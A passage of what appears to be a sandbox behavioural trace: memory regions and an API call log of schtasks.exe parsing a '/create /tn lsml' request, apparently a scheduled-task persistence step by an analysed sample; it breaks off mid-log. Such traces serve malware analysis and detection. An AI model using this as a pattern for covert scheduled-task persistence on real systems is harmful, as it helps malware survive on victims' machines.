"c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4137 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4138 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4139 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4140 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4141 start_va = 0x1e60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 4142 start_va = 0x270000 end_va = 0x34efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4143 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4144 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4145 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4146 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4147 start_va = 0x350000 end_va = 0x350fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 4148 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4149 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 4150 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 4151 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4152 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4155 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 183 os_tid = 0xd2c [0083.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fa80 | out: lpSystemTimeAsFileTime=0x25fa80*(dwLowDateTime=0x5a97f7c0, dwHighDateTime=0x1d9eb0c)) [0083.252] GetCurrentProcessId () returned 0xd08 [0083.252] GetCurrentThreadId () returned 0xd2c [0083.252] GetTickCount () returned 0x176a396 [0083.252] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fa88 | out: lpPerformanceCount=0x25fa88*=2488973562659) returned 1 [0083.253] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0083.253] __set_app_type (_Type=0x1) [0083.253] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0083.253] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0083.254] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0083.254] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0083.254] _onexit (_Func=0xff932afc) returned 0xff932afc [0083.254] _onexit (_Func=0xff932b58) returned 0xff932b58 [0083.255] _onexit (_Func=0xff932b80) returned 0xff932b80 [0083.255] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0083.255] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0083.255] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0083.255] _onexit (_Func=0xff932c20) returned 0xff932c20 [0083.255] _onexit (_Func=0xff932c48) returned 0xff932c48 [0083.255] _onexit (_Func=0xff932c70) returned 0xff932c70 [0083.255] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0083.255] WinSqmIsOptedIn () returned 0x0 [0083.256] GetProcessHeap () returned 0x360000 [0083.256] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x377f30 [0083.256] SetLastError (dwErrCode=0x0) [0083.256] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0083.256] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0083.256] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0083.256] VerifyVersionInfoW (in: lpVersionInformation=0x25f240, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f240) returned 1 [0083.256] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bab0 [0083.257] lstrlenW (lpString="") returned 0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x2) returned 0x37bad0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x3759c0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37baf0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x3759f0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375a20 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375a50 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375a80 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bb10 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375ab0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375ae0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375b10 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375b40 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bb30 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375b70 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375ba0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375bd0 [0083.257] GetProcessHeap () returned 0x360000 [0083.257] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375c00 [0083.257] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0083.258] SetLastError (dwErrCode=0x0) [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375c30 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375c60 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375c90 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375cc0 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375cf0 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bb50 [0083.258] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.258] GetProcessHeap () returned 0x360000 [0083.258] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x208) returned 0x37bcf0 [0083.258] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x37bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0083.258] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0083.260] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0083.260] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0083.261] GetProcessHeap () returned 0x360000 [0083.261] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x74e) returned 0x37c2c0 [0083.261] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0083.261] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x37c2c0 | out: lpData=0x37c2c0) returned 1 [0083.262] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0083.262] VerQueryValueW (in: pBlock=0x37c2c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f328, puLen=0x25f390 | out: lplpBuffer=0x25f328*=0x37c65c, puLen=0x25f390) returned 1 [0083.264] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.264] _vsnwprintf (in: _Buffer=0x37bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f308 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0083.264] VerQueryValueW (in: pBlock=0x37c2c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f398, puLen=0x25f388 | out: lplpBuffer=0x25f398*=0x37c488, puLen=0x25f388) returned 1 [0083.264] lstrlenW (lpString="schtasks.exe") returned 12 [0083.264] lstrlenW (lpString="schtasks.exe") returned 12 [0083.264] lstrlenW (lpString=".EXE") returned 4 [0083.264] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0083.265] lstrlenW (lpString="schtasks.exe") returned 12 [0083.265] lstrlenW (lpString=".EXE") returned 4 [0083.265] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.265] lstrlenW (lpString="schtasks") returned 8 [0083.265] GetProcessHeap () returned 0x360000 [0083.265] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x375de0 [0083.265] GetProcessHeap () returned 0x360000 [0083.265] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cbd0 [0083.265] GetProcessHeap () returned 0x360000 [0083.265] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cc00 [0083.265] GetProcessHeap () returned 0x360000 [0083.265] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cc30 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bb70 [0083.266] _memicmp (_Buf1=0x37bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xa0) returned 0x37c0f0 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cc60 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37cc90 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ccc0 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37bb90 [0083.266] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x200) returned 0x37d3a0 [0083.266] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0083.266] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x30) returned 0x377b50 [0083.266] _vsnwprintf (in: _Buffer=0x37c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f308 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] GetProcessHeap () returned 0x360000 [0083.266] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2c0) returned 1 [0083.267] GetProcessHeap () returned 0x360000 [0083.267] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c2c0) returned 0x74e [0083.267] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2c0 | out: hHeap=0x360000) returned 1 [0083.267] SetLastError (dwErrCode=0x0) [0083.267] GetThreadLocale () returned 0x409 [0083.267] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.267] lstrlenW (lpString="?") returned 1 [0083.267] GetThreadLocale () returned 0x409 [0083.267] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="create") returned 6 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="delete") returned 6 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="query") returned 5 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="change") returned 6 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="run") returned 3 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="end") returned 3 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] lstrlenW (lpString="showsid") returned 7 [0083.268] GetThreadLocale () returned 0x409 [0083.268] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.268] SetLastError (dwErrCode=0x0) [0083.268] SetLastError (dwErrCode=0x0) [0083.268] lstrlenW (lpString="/create") returned 7 [0083.268] lstrlenW (lpString="-/") returned 2 [0083.268] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.268] lstrlenW (lpString="?") returned 1 [0083.268] lstrlenW (lpString="?") returned 1 [0083.268] GetProcessHeap () returned 0x360000 [0083.268] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37c1a0 [0083.268] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.268] GetProcessHeap () returned 0x360000 [0083.268] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0xa) returned 0x37c2c0 [0083.268] lstrlenW (lpString="create") returned 6 [0083.268] GetProcessHeap () returned 0x360000 [0083.269] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37c2e0 [0083.269] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.269] GetProcessHeap () returned 0x360000 [0083.269] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x14) returned 0x37c300 [0083.269] _vsnwprintf (in: _Buffer=0x37c2c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.269] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.269] lstrlenW (lpString="|?|") returned 3 [0083.269] lstrlenW (lpString="|create|") returned 8 [0083.269] SetLastError (dwErrCode=0x490) [0083.269] lstrlenW (lpString="create") returned 6 [0083.269] lstrlenW (lpString="create") returned 6 [0083.269] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.269] GetProcessHeap () returned 0x360000 [0083.269] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2c0) returned 1 [0083.269] GetProcessHeap () returned 0x360000 [0083.269] RtlReAllocateHeap (Heap=0x360000, Flags=0xc, Ptr=0x37c2c0, Size=0x14) returned 0x37c320 [0083.269] lstrlenW (lpString="create") returned 6 [0083.269] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.269] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.269] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.269] lstrlenW (lpString="|create|") returned 8 [0083.269] lstrlenW (lpString="|create|") returned 8 [0083.269] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0083.269] SetLastError (dwErrCode=0x0) [0083.269] SetLastError (dwErrCode=0x0) [0083.269] SetLastError (dwErrCode=0x0) [0083.269] lstrlenW (lpString="/tn") returned 3 [0083.269] lstrlenW (lpString="-/") returned 2 [0083.269] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.269] lstrlenW (lpString="?") returned 1 [0083.269] lstrlenW (lpString="?") returned 1 [0083.269] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] lstrlenW (lpString="tn") returned 2 [0083.270] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.270] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.270] lstrlenW (lpString="|?|") returned 3 [0083.270] lstrlenW (lpString="|tn|") returned 4 [0083.270] SetLastError (dwErrCode=0x490) [0083.270] lstrlenW (lpString="create") returned 6 [0083.270] lstrlenW (lpString="create") returned 6 [0083.270] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] lstrlenW (lpString="tn") returned 2 [0083.270] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.270] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.270] lstrlenW (lpString="|create|") returned 8 [0083.270] lstrlenW (lpString="|tn|") returned 4 [0083.270] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0083.270] SetLastError (dwErrCode=0x490) [0083.270] lstrlenW (lpString="delete") returned 6 [0083.270] lstrlenW (lpString="delete") returned 6 [0083.270] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] lstrlenW (lpString="tn") returned 2 [0083.270] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.270] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|delete|") returned 8 [0083.270] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.270] lstrlenW (lpString="|delete|") returned 8 [0083.270] lstrlenW (lpString="|tn|") returned 4 [0083.270] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0083.270] SetLastError (dwErrCode=0x490) [0083.270] lstrlenW (lpString="query") returned 5 [0083.270] lstrlenW (lpString="query") returned 5 [0083.271] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] lstrlenW (lpString="tn") returned 2 [0083.271] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|query|") returned 7 [0083.271] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.271] lstrlenW (lpString="|query|") returned 7 [0083.271] lstrlenW (lpString="|tn|") returned 4 [0083.271] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0083.271] SetLastError (dwErrCode=0x490) [0083.271] lstrlenW (lpString="change") returned 6 [0083.271] lstrlenW (lpString="change") returned 6 [0083.271] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] lstrlenW (lpString="tn") returned 2 [0083.271] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|change|") returned 8 [0083.271] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.271] lstrlenW (lpString="|change|") returned 8 [0083.271] lstrlenW (lpString="|tn|") returned 4 [0083.271] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0083.271] SetLastError (dwErrCode=0x490) [0083.271] lstrlenW (lpString="run") returned 3 [0083.271] lstrlenW (lpString="run") returned 3 [0083.271] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] lstrlenW (lpString="tn") returned 2 [0083.271] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.271] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|run|") returned 5 [0083.271] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.271] lstrlenW (lpString="|run|") returned 5 [0083.271] lstrlenW (lpString="|tn|") returned 4 [0083.272] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0083.272] SetLastError (dwErrCode=0x490) [0083.272] lstrlenW (lpString="end") returned 3 [0083.272] lstrlenW (lpString="end") returned 3 [0083.272] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.272] lstrlenW (lpString="tn") returned 2 [0083.272] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.272] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|end|") returned 5 [0083.272] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.272] lstrlenW (lpString="|end|") returned 5 [0083.272] lstrlenW (lpString="|tn|") returned 4 [0083.272] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0083.272] SetLastError (dwErrCode=0x490) [0083.272] lstrlenW (lpString="showsid") returned 7 [0083.272] lstrlenW (lpString="showsid") returned 7 [0083.272] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.272] GetProcessHeap () returned 0x360000 [0083.272] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c320) returned 1 [0083.272] GetProcessHeap () returned 0x360000 [0083.272] RtlReAllocateHeap (Heap=0x360000, Flags=0xc, Ptr=0x37c320, Size=0x16) returned 0x37c320 [0083.272] lstrlenW (lpString="tn") returned 2 [0083.272] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.272] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|showsid|") returned 9 [0083.272] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|tn|") returned 4 [0083.272] lstrlenW (lpString="|showsid|") returned 9 [0083.272] lstrlenW (lpString="|tn|") returned 4 [0083.272] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0083.272] SetLastError (dwErrCode=0x490) [0083.272] SetLastError (dwErrCode=0x490) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="/tn") returned 3 [0083.273] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0083.273] SetLastError (dwErrCode=0x490) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="/tn") returned 3 [0083.273] GetProcessHeap () returned 0x360000 [0083.273] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x8) returned 0x37c2c0 [0083.273] GetProcessHeap () returned 0x360000 [0083.273] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ccf0 [0083.273] SetLastError (dwErrCode=0x0) [0083.273] SetLastError (dwErrCode=0x0) [0083.273] lstrlenW (lpString="lsml") returned 4 [0083.273] lstrlenW (lpString="-/") returned 2 [0083.273] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0083.273] 